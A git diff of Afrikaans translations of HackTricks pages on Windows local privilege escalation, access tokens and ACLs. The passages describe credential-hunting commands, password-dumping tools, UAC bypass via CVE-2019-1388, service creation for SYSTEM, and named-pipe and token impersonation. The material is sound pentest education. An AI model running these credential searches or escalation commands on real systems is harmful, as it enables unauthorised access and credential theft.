-Binne die CLSIDs van hierdie registrasie kan jy die kind registrasie **InProcServer32** vind wat 'n **standaardwaarde** bevat wat na 'n **DLL** verwys en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Enkel-Draad), **Free** (Multi-Draad), **Both** (Enkel of Multi) of **Neutral** (Draad Neutraal) kan wees.
+Binne die CLSIDs van hierdie registrasie kan jy die kind registrasie **InProcServer32** vind wat 'n **standaardwaarde** bevat wat na 'n **DLL** verwys en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Enkel-Draad), **Free** (Meervoudige-Draad), **Both** (Enkel of Meervoudig) of **Neutral** (Draad Neutraal) kan wees.
.png>)
@@ -1184,7 +1184,7 @@ Om te leer hoe aanvallers COM Hijacking as 'n volhardingsmeganisme gebruik, kyk:
com-hijacking.md
{{#endref}}
-### **Generiese Wagwoordsoektog in lêers en registrasie**
+### **Generiese Wagwoord soektog in lêers en registrasie**
**Soek na lêerinhoud**
```bash
@@ -1209,7 +1209,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is 'n msf** plugin wat ek geskep het om **automaties elke metasploit POST-module wat soek na kredensiale** binne die slagoffer uit te voer.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) soek outomaties na al die lêers wat wagwoorde bevat wat op hierdie bladsy genoem word.\
-[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is 'n ander uitstekende hulpmiddel om wagwoorde uit 'n stelsel te onttrek.
+[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is 'n ander wonderlike hulpmiddel om wagwoorde uit 'n stelsel te onttrek.
Die hulpmiddel [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessies**, **gebruikersname** en **wagwoorde** van verskeie gereedskap wat hierdie data in duidelike teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)
```bash
@@ -1220,10 +1220,10 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## Gelekte Handlers
-Stel jou voor dat **'n proses wat as SYSTEM loop 'n nuwe proses open** (`OpenProcess()`) met **volledige toegang**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat al die oop handlers van die hoof proses oorneem**.\
-As jy dan **volledige toegang tot die lae voorregte proses het**, kan jy die **oop handle van die voorregte proses wat met `OpenProcess()` geskep is** gryp en **'n shellcode inspuit**.\
+Imagine dat **'n proses wat as SYSTEM loop 'n nuwe proses** (`OpenProcess()`) met **volledige toegang** open. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat al die oop handlers van die hoofproses oorneem**.\
+As jy dan **volledige toegang tot die lae voorregte proses het**, kan jy die **oop handle na die voorregte proses wat geskep is** met `OpenProcess()` gryp en **'n shellcode inspuit**.\
[Lees hierdie voorbeeld vir meer inligting oor **hoe om hierdie kwesbaarheid te ontdek en te benut**.](leaked-handle-exploitation.md)\
-[Lees hierdie **ander pos vir 'n meer volledige verduideliking oor hoe om te toets en meer oop handlers van prosesse en drade met verskillende vlakke van toestemmings (nie net volledige toegang nie) te misbruik**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+[Lees hierdie **ander pos vir 'n meer volledige verduideliking oor hoe om te toets en meer oop handlers van prosesse en drade wat met verskillende vlakke van toestemmings (nie net volledige toegang nie) geërf is, te misbruik**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## Genoemde Pyp Klient Imitasie
@@ -1233,13 +1233,13 @@ Windows bied 'n funksie genaamd **Genoemde Pype**, wat ongebonde prosesse toelaa
Wanneer data deur 'n pyp deur 'n **klient** gestuur word, het die **bediener** wat die pyp opgestel het die vermoë om die **identiteit** van die **klient** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **voorregte proses** te identifiseer wat via 'n pyp kommunikeer wat jy kan naboots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem sodra dit met die pyp waarmee jy werk, interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, kan nuttige gidse gevind word [**hier**](named-pipe-client-impersonation.md) en [**hier**](./#from-high-integrity-to-system).
-Ook die volgende hulpmiddel laat jou toe om **'n genoem pyp kommunikasie met 'n hulpmiddel soos burp te onderskep:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel laat jou toe om al die pype te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+Ook die volgende hulpmiddel stel jou in staat om **'n genoem pyp kommunikasie met 'n hulpmiddel soos burp te onderskep:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel stel jou in staat om al die pype te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Verskeie
### **Monitering van Opdraglyne vir wagwoorde**
-Wanneer jy 'n shell as 'n gebruiker kry, mag daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat **akkrediteer op die opdraglyn**. Die onderstaande skrip vang proses opdraglyne elke twee sekondes en vergelyk die huidige toestand met die vorige toestand, wat enige verskille uitset.
+Wanneer jy 'n shell as 'n gebruiker kry, mag daar geskeduleerde take of ander prosesse wees wat **akkrediteer op die opdraglyn**. Die onderstaande skrip vang prosesopdraglyne elke twee sekondes en vergelyk die huidige toestand met die vorige toestand, wat enige verskille uitset.
```powershell
while($true)
{
@@ -1253,9 +1253,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
## Van Lae Privilege Gebruiker na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
-As jy toegang het tot die grafiese koppelvlak (via konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" van 'n nie-privilege gebruiker te loop.
+As jy toegang het tot die grafiese koppelvlak (via konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" van 'n nie-bevoegde gebruiker te loop.
-Dit maak dit moontlik om privileges te eskaleer en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen behoefte om enigiets te installeer nie en die binêre wat tydens die proses gebruik word, is onderteken en uitgegee deur Microsoft.
+Dit maak dit moontlik om bevoegdhede te verhoog en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen behoefte om enigiets te installeer nie en die binêre wat tydens die proses gebruik word, is onderteken en uitgegee deur Microsoft.
Sommige van die geraakte stelsels is die volgende:
```
@@ -1297,7 +1297,7 @@ Om hierdie kwesbaarheid te benut, is dit nodig om die volgende stappe uit te voe
8) Remember to cancel setup and the UAC prompt to return to your desktop.
```
-U het al die nodige lêers en inligting in die volgende GitHub-repo:
+U het al die nodige lêers en inligting in die volgende GitHub-repositori:
https://github.com/jas502n/CVE-2019-1388
@@ -1309,7 +1309,7 @@ Lees dit om **meer te leer oor Integriteitsvlakke**:
integrity-levels.md
{{#endref}}
-Lees dan **hierdie om meer te leer oor UAC en UAC bypasses:**
+Lees dan **hierdie om meer te leer oor UAC en UAC-bypasses:**
{{#ref}}
../authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -1319,14 +1319,14 @@ Lees dan **hierdie om meer te leer oor UAC en UAC bypasses:**
### **Nuwe diens**
-As u reeds op 'n Hoë Integriteit proses loop, kan die **oorgang na SYSTEM** maklik wees deur eenvoudig **'n nuwe diens te skep en uit te voer**:
+As u reeds op 'n Hoë Integriteitsproses loop, kan die **oorgang na SYSTEM** maklik wees deur net **'n nuwe diens te skep en uit te voer**:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
```
### AlwaysInstallElevated
-Van 'n Hoë Integriteit proses kan jy probeer om die **AlwaysInstallElevated registrasie-invoere** te **aktiveer** en 'n omgekeerde skulp te **installeer** met 'n _**.msi**_ omhulsel.\
+Van 'n Hoë Integriteit proses kan jy probeer om die **AlwaysInstallElevated registrasie-invoere** te **aktiveer** en 'n omgekeerde shell te **installeer** met 'n _**.msi**_ omhulsel.\
[Meer inligting oor die betrokke registrasiesleutels en hoe om 'n _.msi_ pakket hier te installeer.](./#alwaysinstallelevated)
### High + SeImpersonate privilege to System
@@ -1335,19 +1335,19 @@ Van 'n Hoë Integriteit proses kan jy probeer om die **AlwaysInstallElevated reg
### From SeDebug + SeImpersonate to Full Token privileges
-As jy daardie token voorregte het (waarskynlik sal jy dit in 'n reeds Hoë Integriteit proses vind), sal jy in staat wees om **byna enige proses** (nie beskermde prosesse nie) met die SeDebug voorreg, **die token** van die proses te **kopieer**, en 'n **arbitraire proses met daardie token** te skep.\
-Die gebruik van hierdie tegniek behels gewoonlik **om enige proses wat as SYSTEM loop met al die token voorregte te kies** (_ja, jy kan SYSTEM prosesse vind sonder al die token voorregte_).\
+As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds Hoë Integriteit proses vind), sal jy in staat wees om **byna enige proses** (nie beskermde prosesse nie) met die SeDebug privilege te **oopmaak**, **die token** van die proses te kopieer, en 'n **arbitraire proses met daardie token** te skep.\
+Die gebruik van hierdie tegniek behels gewoonlik **om enige proses wat as SYSTEM loop met al die token privileges te kies** (_ja, jy kan SYSTEM prosesse vind sonder al die token privileges_).\
**Jy kan 'n** [**voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
-Hierdie tegniek word deur meterpreter gebruik om op te skaal in `getsystem`. Die tegniek bestaan uit **die skep van 'n pyp en dan 'n diens te skep/te misbruik om op daardie pyp te skryf**. Dan sal die **bediener** wat die pyp geskep het met die **`SeImpersonate`** voorreg in staat wees om die **token** van die pyp kliënt (die diens) te **verpersoonlik** en SYSTEM voorregte te verkry.\
-As jy wil [**meer leer oor naam pype, moet jy dit lees**](./#named-pipe-client-impersonation).\
-As jy 'n voorbeeld wil lees van [**hoe om van hoë integriteit na System te gaan met naam pype, moet jy dit lees**](from-high-integrity-to-system-with-name-pipes.md).
+Hierdie tegniek word deur meterpreter gebruik om in `getsystem` te eskaleer. Die tegniek bestaan uit **die skep van 'n pyp en dan 'n diens te skep/te misbruik om op daardie pyp te skryf**. Dan sal die **bediener** wat die pyp geskep het met die **`SeImpersonate`** privilege in staat wees om die **token** van die pyp kliënt (die diens) te **verpersoonlik** en SYSTEM privileges te verkry.\
+As jy wil [**meer leer oor naam pype moet jy dit lees**](./#named-pipe-client-impersonation).\
+As jy 'n voorbeeld wil lees van [**hoe om van hoë integriteit na System te gaan met naam pype moet jy dit lees**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
-As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **SYSTEM** loop, **gelaai** word, sal jy in staat wees om arbitrêre kode met daardie toestemmings uit te voer. Daarom is Dll Hijacking ook nuttig vir hierdie soort voorregte opheffing, en, verder, as dit **veel makliker is om te bereik vanuit 'n hoë integriteit proses** aangesien dit **skryftoestemmings** op die vouers het wat gebruik word om dlls te laai.\
+As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **SYSTEM** loop, sal jy in staat wees om arbitrêre kode met daardie toestemmings uit te voer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege eskalasie, en, verder, as dit **veel makliker is om te bereik vanuit 'n hoë integriteit proses** aangesien dit **skryftoestemmings** op die vouers het wat gebruik word om dlls te laai.\
**Jy kan** [**meer leer oor Dll hijacking hier**](dll-hijacking/)**.**
### **From Administrator or Network Service to System**
@@ -1364,18 +1364,18 @@ As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **S
## Useful tools
-**Beste hulpmiddel om na Windows plaaslike voorregte opheffing vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+**Beste hulpmiddel om te soek na Windows plaaslike privilege eskalasie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS**
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
-[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir miskonfigurasies en sensitiewe lêers (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gekontrakteer.**\
+[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir miskonfigurasies en sensitiewe lêers (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gekies.**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sommige moontlike miskonfigurasies en versamel inligting (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir miskonfigurasies**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie inligting. Gebruik -Thorough in plaaslik.**\
-[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Onttrek kredensiale uit Credential Manager. Gekontrakteer.**\
+[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Onttrek kredensiale uit Credential Manager. Gekies.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spuit versamelde wagwoorde oor domein**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofing en man-in-the-middle hulpmiddel.**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle hulpmiddel.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basiese privesc Windows enumerasie**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwesbaarhede (DEPRECATED vir Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Plaaslike kontroles **(Benodig Admin regte)**
@@ -1383,7 +1383,7 @@ As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **S
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwesbaarhede (moet saamgestel word met VisualStudio) ([**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
-[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates die gasheer op soek na miskonfigurasies (meer 'n versamel inligting hulpmiddel as privesc) (moet saamgestel word) **(**[**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
+[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (meer 'n versamel inligting hulpmiddel as privesc) (moet saamgestel word) **(**[**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Onttrek kredensiale uit baie sagteware (vooraf saamgestelde exe in github)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port van PowerUp na C#**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir miskonfigurasie (uitvoerbare vooraf saamgestelde in github). Nie aanbeveel nie. Dit werk nie goed in Win10.\
@@ -1402,7 +1402,7 @@ As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **S
_multi/recon/local_exploit_suggestor_
-Jy moet die projek saamstel met die korrekte weergawe van .NET ([sien dit](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer gasheer te sien, kan jy doen:
+Jy moet die projek saamstel met die korrekte weergawe van .NET ([sien dit](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer gasheer te sien kan jy doen:
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
index 86cbf14d6..559f48d45 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
@@ -56,8 +56,8 @@ of deur _Process Explorer_ van Sysinternals (kies proses en toegang "Sekuriteit"
### Plaaslike administrateur
-Wanneer 'n plaaslike administrateur aanmeld, **word twee toegangstokens geskep**: Een met administrateurregte en die ander een met normale regte. **Standaard**, wanneer hierdie gebruiker 'n proses uitvoer, word die een met **reguliere** (nie-administrateur) **regte gebruik**. Wanneer hierdie gebruiker probeer om **enige iets** **as administrateur** uit te voer ("Hardloop as Administrateur" byvoorbeeld) sal die **UAC** gebruik word om toestemming te vra.\
-As jy wil [**meer oor die UAC leer, lees hierdie bladsy**](../authentication-credentials-uac-and-efs/#uac)**.**
+Wanneer 'n plaaslike administrateur aanmeld, **word twee toegangstokens geskep**: Een met administrateurregte en die ander een met normale regte. **Standaard**, wanneer hierdie gebruiker 'n proses uitvoer, word die een met **gereelde** (nie-administrateur) **regte gebruik**. Wanneer hierdie gebruiker probeer om **enige iets uit te voer** **as administrateur** ("Hardloop as Administrateur" byvoorbeeld) sal die **UAC** gebruik word om toestemming te vra.\
+As jy wil [**meer oor die UAC leer lees hierdie bladsy**](../authentication-credentials-uac-and-efs/#uac)**.**
### Kredensiële gebruiker impersonasie
@@ -65,8 +65,8 @@ As jy **geldige kredensiale van enige ander gebruiker** het, kan jy 'n **nuwe aa
```
runas /user:domain\username cmd.exe
```
-Die **toegangsteken** het ook 'n **verwysing** van die aanmeldsessies binne die **LSASS**, dit is nuttig as die proses toegang tot sommige voorwerpe van die netwerk benodig.\
-Jy kan 'n proses begin wat **verskillende akrediteer vir toegang tot netwerkdienste** gebruik met:
+Die **toegangsteken** het ook 'n **verwysing** na die aanmeldsessies binne die **LSASS**, dit is nuttig as die proses toegang tot sommige voorwerpe van die netwerk moet verkry.\
+Jy kan 'n proses begin wat **verskillende akrediteerbesonderhede vir toegang tot netwerkdienste gebruik** deur:
```
runas /user:domain\username /netonly cmd.exe
```
@@ -76,7 +76,7 @@ Dit is nuttig as jy nuttige akrediteerbare inligting het om toegang te verkry to
Daar is twee tipes tokens beskikbaar:
-- **Primêre Token**: Dit dien as 'n voorstelling van 'n proses se sekuriteitsakrediteerbare inligting. Die skepping en assosiasie van primêre tokens met prosesse is aksies wat verhoogde privileges vereis, wat die beginsel van privilege-skeiding beklemtoon. Gewoonlik is 'n verifikasiediens verantwoordelik vir token skepping, terwyl 'n aanmelddiens die assosiasie met die gebruiker se bedryfstelsel-skal hanteer. Dit is die moeite werd om te noem dat prosesse die primêre token van hul ouer proses by skepping erf.
+- **Primêre Token**: Dit dien as 'n voorstelling van 'n proses se sekuriteitsakrediteerbare inligting. Die skepping en assosiasie van primêre tokens met prosesse is aksies wat verhoogde privileges vereis, wat die beginsel van privilege-skeiding beklemtoon. Gewoonlik is 'n verifikasiediens verantwoordelik vir token-skepping, terwyl 'n aanmelddiens die assosiasie met die gebruiker se bedryfstelsel-skal hanteer. Dit is die moeite werd om op te let dat prosesse die primêre token van hul ouer proses by skepping erf.
- **Impersonasie Token**: Bemagtig 'n bedienertoepassing om die kliënt se identiteit tydelik aan te neem om toegang tot veilige voorwerpe te verkry. Hierdie meganisme is gelaag in vier vlakke van werking:
- **Anoniem**: Gee bediener toegang soortgelyk aan dié van 'n onbekende gebruiker.
- **Identifikasie**: Laat die bediener toe om die kliënt se identiteit te verifieer sonder om dit vir voorwerp toegang te gebruik.
diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
index 9e36a5a03..a20e20379 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
@@ -28,7 +28,7 @@ Die Plaaslike Sekuriteitsowerheid (LSASS) verwerk toegang versoeke tot objek deu
- **ACLs:** Definieer toegangstoestemmings deur DACLs en ouditreëls deur SACLs.
- **Toegangstoken:** Bevat gebruiker, groep, en voorregte-inligting vir 'n sessie.
-- **Toegangbesluit:** Word geneem deur DACL ACEs met die toegangstoken te vergelyk; SACLs word gebruik vir ouditering.
+- **Toegangbesluit:** Gemaak deur DACL ACEs met die toegangstoken te vergelyk; SACLs word gebruik vir ouditering.
### ACEs
@@ -41,7 +41,7 @@ Daar is **drie hoof tipes Toegangsbeheeringe (ACEs)**:
Elke ACE het **vier kritieke komponente**:
1. Die **Sekuriteitsidentifiseerder (SID)** van die gebruiker of groep (of hul beginselnaam in 'n grafiese voorstelling).
-2. 'n **vlag** wat die ACE tipe identifiseer (toegang geweier, toegestaan, of stelsels oudit).
+2. 'n **vlag** wat die ACE tipe identifiseer (toegang geweier, toegelaat, of stelsels oudit).
3. **Erfenisvlagte** wat bepaal of kindobjekte die ACE van hul ouer kan erf.
4. 'n [**toegangsmasker**](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN), 'n 32-bis waarde wat die objek se toegepaste regte spesifiseer.
@@ -49,13 +49,13 @@ Toegangsbepaling word uitgevoer deur elke ACE een vir een te ondersoek totdat:
- 'n **Toegang-Geweier ACE** eksplisiet die aangevraagde regte aan 'n trustee in die toegangstoken weier.
- **Toegang-Toegelaat ACE(s)** eksplisiet al die aangevraagde regte aan 'n trustee in die toegangstoken grant.
-- Na die nagaan van alle ACEs, as enige aangevraagde regte **nie eksplisiet toegestaan** is nie, word toegang implisiet **geweier**.
+- Na die nagaan van alle ACEs, as enige aangevraagde reg nie **eksplisiet toegestaan** is nie, word toegang implisiet **geweier**.
### Volgorde van ACEs
-Die manier waarop **ACEs** (reëls wat sê wie toegang kan of nie kan hê nie) in 'n lys genaamd **DACL** geplaas word, is baie belangrik. Dit is omdat sodra die stelsel toegang op grond van hierdie reëls gee of weier, dit ophou om na die res te kyk.
+Die manier waarop **ACEs** (reëls wat sê wie toegang kan of nie kan hê nie) in 'n lys genaamd **DACL** geplaas word, is baie belangrik. Dit is omdat sodra die stelsel toegang op grond van hierdie reëls toeken of weier, dit ophou om na die res te kyk.
-Daar is 'n beste manier om hierdie ACEs te organiseer, en dit word **"kanonieke orde"** genoem. Hierdie metode help om te verseker dat alles glad en regverdig werk. Hier is hoe dit gaan vir stelsels soos **Windows 2000** en **Windows Server 2003**:
+Daar is 'n beste manier om hierdie ACEs te organiseer, en dit word **"kanonieke volgorde"** genoem. Hierdie metode help om te verseker dat alles glad en regverdig werk. Hier is hoe dit gaan vir stelsels soos **Windows 2000** en **Windows Server 2003**:
- Eerstens, plaas al die reëls wat **spesifiek vir hierdie item** gemaak is voor diegene wat van elders kom, soos 'n ouer gids.
- In daardie spesifieke reëls, plaas diegene wat sê **"nee" (weier)** voor diegene wat sê **"ja" (toelaat)**.
@@ -70,7 +70,7 @@ Deur dit op hierdie manier te doen, kan die eienaar van 'n lêer of gids baie pr

-So, hierdie **"kanonieke orde"** is alles oor om te verseker dat die toegang reëls duidelik en goed werk, spesifieke reëls eerste te plaas en alles op 'n slim manier te organiseer.
+So, hierdie **"kanonieke volgorde"** is alles oor om te verseker dat die toegang reëls duidelik en goed werk, spesifieke reëls eerste te plaas en alles op 'n slim manier te organiseer.
### GUI Voorbeeld
@@ -80,7 +80,7 @@ Dit is die klassieke sekuriteitstab van 'n gids wat die ACL, DACL en ACEs wys:

-As ons op die **Gevorderde knoppie** klik, sal ons meer opsies kry soos erfenis:
+As ons op die **Gevorderde knoppie** klik, sal ons meer opsies soos erfenis kry:

@@ -98,11 +98,11 @@ Wanneer ons toegang tot hulpbronne bestuur, soos 'n gids, gebruik ons lyste en r
#### Toegang tot 'n Spesifieke Groep Weier
-Stel jou voor jy het 'n gids genaamd Kostes, en jy wil hê dat almal toegang moet hê behalwe vir 'n bemarking span. Deur die reëls korrek op te stel, kan ons verseker dat die bemarking span eksplisiet toegang geweier word voordat ons almal anders toelaat. Dit word gedoen deur die reël om toegang tot die bemarking span te weier voor die reël wat toegang aan almal toelaat.
+Stel jou voor jy het 'n gids genaamd Koste, en jy wil hê almal moet toegang hê behalwe vir 'n bemarking span. Deur die reëls korrek op te stel, kan ons verseker dat die bemarking span eksplisiet toegang geweier word voordat ons almal anders toelaat. Dit word gedoen deur die reël om toegang tot die bemarking span te weier voor die reël wat toegang aan almal toelaat.
-#### Toegang tot 'n Spesifieke Lid van 'n Geweerde Groep Toelaat
+#### Toegang aan 'n Spesifieke Lid van 'n Geweerde Groep Toelaat
-Kom ons sê Bob, die bemarkingsdirekteur, het toegang tot die Kostes gids nodig, alhoewel die bemarking span oor die algemeen nie toegang moet hê nie. Ons kan 'n spesifieke reël (ACE) vir Bob byvoeg wat hom toegang grant, en dit voor die reël wat toegang aan die bemarking span weier plaas. Op hierdie manier kry Bob toegang ten spyte van die algemene beperking op sy span.
+Kom ons sê Bob, die bemarkingsdirekteur, het toegang tot die Koste gids nodig, al mag die bemarking span oor die algemeen nie toegang hê nie. Ons kan 'n spesifieke reël (ACE) vir Bob byvoeg wat hom toegang grant, en dit voor die reël wat toegang aan die bemarking span weier plaas. Op hierdie manier kry Bob toegang ten spyte van die algemene beperking op sy span.
#### Toegangsbeheeringe Verstaan
@@ -124,10 +124,10 @@ In samevatting help ACLs en ACEs om presiese toegangsbeheer te definieer, wat ve
| ACE Veld | Beskrywing |
| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Tipe | Vlag wat die tipe ACE aandui. Windows 2000 en Windows Server 2003 ondersteun ses tipes ACE: Drie generiese ACE tipes wat aan alle beveiligbare objekte geheg is. Drie objek-spesifieke ACE tipes wat vir Aktiewe Gids objekte kan voorkom. |
+| Tipe | Vlag wat die tipe ACE aandui. Windows 2000 en Windows Server 2003 ondersteun ses tipes ACE: Drie generiese ACE tipes wat aan alle beveiligbare objekte geheg is. Drie objek-spesifieke ACE tipes wat vir Aktiewe Gids objek kan voorkom. |
| Vlagte | Stel van bitvlagte wat erfenis en ouditering beheer. |
-| Grootte | Aantal bytes van geheue wat vir die ACE toegeken word. |
-| Toegangsmasker | 32-bis waarde waarvan die bits ooreenstem met toegangregte vir die objek. Bits kan of aan of af gestel word, maar die betekenis van die instelling hang af van die ACE tipe. Byvoorbeeld, as die bit wat ooreenstem met die reg om toestemmings te lees aangeskakel is, en die ACE tipe is Weier, weier die ACE die reg om die objek se toestemmings te lees. As dieselfde bit aangeskakel is, maar die ACE tipe is Toelaat, grant die ACE die reg om die objek se toestemmings te lees. Meer besonderhede van die Toegangsmasker verskyn in die volgende tabel. |
+| Grootte | Aantal bytes geheue wat vir die ACE toegeken is. |
+| Toegangsmasker | 32-bis waarde waarvan die bits ooreenstem met toegangregte vir die objek. Bits kan of aan of af gestel word, maar die instelling se betekenis hang af van die ACE tipe. Byvoorbeeld, as die bit wat ooreenstem met die reg om toestemmings te lees aangeskakel is, en die ACE tipe is Weier, weier die ACE die reg om die objek se toestemmings te lees. As dieselfde bit aangeskakel is maar die ACE tipe is Toelaat, grant die ACE die reg om die objek se toestemmings te lees. Meer besonderhede van die Toegangsmasker verskyn in die volgende tabel. |
| SID | Identifiseer 'n gebruiker of groep wie se toegang deur hierdie ACE beheer of gemonitor word. |
### Toegangsmasker Uitleg
@@ -141,7 +141,7 @@ In samevatting help ACLs en ACEs om presiese toegangsbeheer te definieer, wat ve
| 28 | Generies ALLES (Lees, Skryf, Voer uit) | Alles hieronder |
| 29 | Generies Voer uit | Alle dinge wat nodig is om 'n program uit te voer |
| 30 | Generies Skryf | Alle dinge wat nodig is om na 'n lêer te skryf |
-| 31 | Generies Lees | Alle dinge wat nodig is om na 'n lêer te lees |
+| 31 | Generies Lees | Alle dinge wat nodig is om 'n lêer te lees |
## Verwysings
diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
index 24bd376e8..581dbafa5 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
@@ -13,7 +13,7 @@ Daar is voorgestel om die toestemmings van die **RpcEptMapper** diens te kontrol
'n Skermskoot het die toestemmings gewys wat aan 'n laag-geprivilegieerde gebruiker toegeken is, waaronder die **Skep Subsleutel** toestemming opvallend was. Hierdie toestemming, ook bekend as **AppendData/AddSubdirectory**, stem ooreen met die script se bevindings.
